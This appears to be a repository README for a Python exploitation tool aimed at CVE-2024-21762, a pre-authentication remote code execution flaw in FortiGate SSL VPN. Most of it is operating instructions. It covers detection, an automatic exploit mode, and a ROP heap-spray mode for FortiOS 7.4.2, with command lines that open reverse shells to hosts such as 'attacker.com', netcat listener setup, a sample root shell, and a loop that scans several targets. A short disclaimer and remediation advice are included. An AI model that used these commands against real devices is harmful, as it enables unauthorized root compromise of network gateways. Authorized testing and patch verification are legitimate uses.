CVE-2024-21762 - FortiGate SSL VPN RCE Detection & Exploitation Tool

Detection and exploitation tool for CVE-2024-21762 - Critical FortiGate SSL VPN vulnerability

⚠️ LEGAL DISCLAIMER: This tool is for authorized test environments only. Unauthorized use on systems is ILLEGAL and may result in serious legal consequences.

Overview

CVE-2024-21762 is a critical vulnerability in FortiGate SSL VPN components that allows pre-authentication Remote Code Execution (RCE). The flaw exists in a vulnerable parsing of HTTP requests with Transfer-Encoding chunked, resulting in an out-of-bounds write in the sslvpnd component.

Technical Details

Attribute	Information
CVE ID	CVE-2024-21762
Vulnerability	Out-of-bounds write in sslvpnd
Type	Pre-Authentication Remote Code Execution (RCE)
CVSS Score	9.8 (Critical)
Affected Component	FortiOS SSL VPN
Vulnerable Versions	7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

Features

✅ Vulnerability Detection - Identifies vulnerable FortiGate instances via malformed requests
✅ Baseline Test - Checks normal server behavior before tests
✅ Automatic Mode - Detects vulnerability and exploits automatically
✅ Reverse Shell - Supports bash reverse shell with IP/port configuration
✅ Input Validation - Validates IPs and ports before exploitation
✅ Detailed Reports - Generates reports with remediation recommendations
✅ Robust Error Handling - Secure connection and exception management

Requirements

• Python 3.7 or higher
• Standard Python library modules (socket, ssl, argparse, datetime, time, re)
• Network access to the target (port 443 or custom)

Installation

# Clone the repository
git clone https://github.com/your-username/CVE-2024-21762.git
cd CVE-2024-21762

# Verify syntax
python -m py_compile EXPLOIT.py

# Run the script
python EXPLOIT.py -h

Usage

Basic Usage

# Simple detection test
python EXPLOIT.py 192.168.1.100

# With custom port
python EXPLOIT.py 192.168.1.100 -p 8443

# With increased timeout
python EXPLOIT.py 192.168.1.100 --timeout 20

Automatic Mode (Detection + Exploitation)

# Automatic mode with pre-configured reverse shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Automatic mode without credentials (prompts interactively)
python EXPLOIT.py 192.168.1.100 --auto

ROP Mode - Advanced Exploitation with Heap Spray

ROP mode implements a two-stage exploitation with heap spray for specific targets (FortiOS 7.4.2):

# ROP exploitation with Node.js reverse shell
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# With custom port
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# With increased timeout for slow targets
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

ROP Exploitation Flow:

1. Stage 1: Send 1.8MB heap spray with ROP gadgets
2. Wait 2 seconds for CPU processing
3. Stage 2: Trigger OOB write with 4137-byte chunk
4. Wait 3 seconds for payload execution
5. Node.js reverse connection established

On your listening server:

# Linux/Mac/Windows with netcat
nc -lnvp 4242

# Expected output:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Important Note: ROP mode is optimized for FortiOS 7.4.2.F-build2571. Other versions may not work due to hardcoded ROP chain offsets.

Manual Test with Reverse Shell

# Send reverse shell payload
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Combination of multiple options
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Available Options

positional arguments:
  target                    Target hostname or IP to be tested

optional arguments:
  -h, --help               Show this help message
  -t, --target HOSTNAME    Target hostname or IP (alternative)
  -p, --port PORT          SSL VPN port (default: 443)
  --timeout SECONDS        Timeout in seconds (default: 10)
  -li, --lhost IP          Local IP to receive reverse shell
  -lp, --lport PORT        Local port to receive reverse shell
  --no-baseline            Skip baseline test
  --auto                   Automatic mode: detect and exploit
  --rop                    ROP mode: advanced exploitation with heap spray (FortiOS 7.4.2)
  -v, --version            Show script version

Complete Usage Examples

1. Simple Detection

python EXPLOIT.py 192.168.1.100

Expected result if vulnerable:

[+] Starting vulnerability test...
[!] VULNERABLE DETECTED!
[!] Server closed connection abruptly
[!] STATUS: VULNERABLE

2. Automatic Exploitation with Reverse Shell

python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

On your server:

# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Testing Multiple Targets

for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

How It Works

Detection Flow

1. Baseline Test - Send normal HTTP request to check default behavior
2. Malformed Request - Send malformed HTTP request with vulnerable chunked encoding
3. Analysis - Analyze response for vulnerability signs:
   • Abrupt connection termination
   • Server timeout/crash
   • Abnormal TLS Alerts
4. Report - Generate report with status and recommendations

Exploitation Flow (Automatic Mode)

1. Run detection test
2. If vulnerable, inject reverse shell payload
3. Wait for reverse connection
4. Generate final report

Vulnerability Indicators

The tool considers a target vulnerable when it detects one of the following behaviors:

• ✓ Connection closed abruptly (Empty reply)
• ✓ Timeout after payload send (server crash)
• ✓ TLS Alert received (sslvpnd crashed)
• ✓ Connection Reset by Peer

Affected Versions

Version	Detection	ROP Mode	Status
FortiOS 7.0.0 - 7.0.13	✅ Yes	❌ No	⚠️ VULNERABLE
FortiOS 7.2.0 - 7.2.6	✅ Yes	❌ No	⚠️ VULNERABLE
FortiOS 7.4.0 - 7.4.1	✅ Yes	❌ No	⚠️ VULNERABLE
FortiOS 7.4.2 (build≤2571)	✅ Yes	✅ Yes	⚠️ VULNERABLE
FortiOS 7.4.3+	❌ No	❌ No	✅ FIXED

Remediation

Immediate Actions

1. Update FortiOS to a fixed version:

   • FortiOS 7.0.14+
   • FortiOS 7.2.7+
   • FortiOS 7.4.3+

2. Temporary Isolation

   • Disable external access to SSL VPN
   • Restrict administrative access

3. Monitoring

   • Review logs for exploitation signs
   • Check credentials and abnormal accesses

Post-Remediation Verification

# Verify FortiOS version
python EXPLOIT.py your-fortinet.com

If the result shows "NOT VULNERABLE", the patch was applied successfully.

Project Structure

CVE-2024-21762/
├── EXPLOIT.py          # Main exploitation script
├── README.md           # This file
├── LICENSE             # MIT License
└── .gitignore          # Git configuration

Class Methods

CVE2024_21762_Detector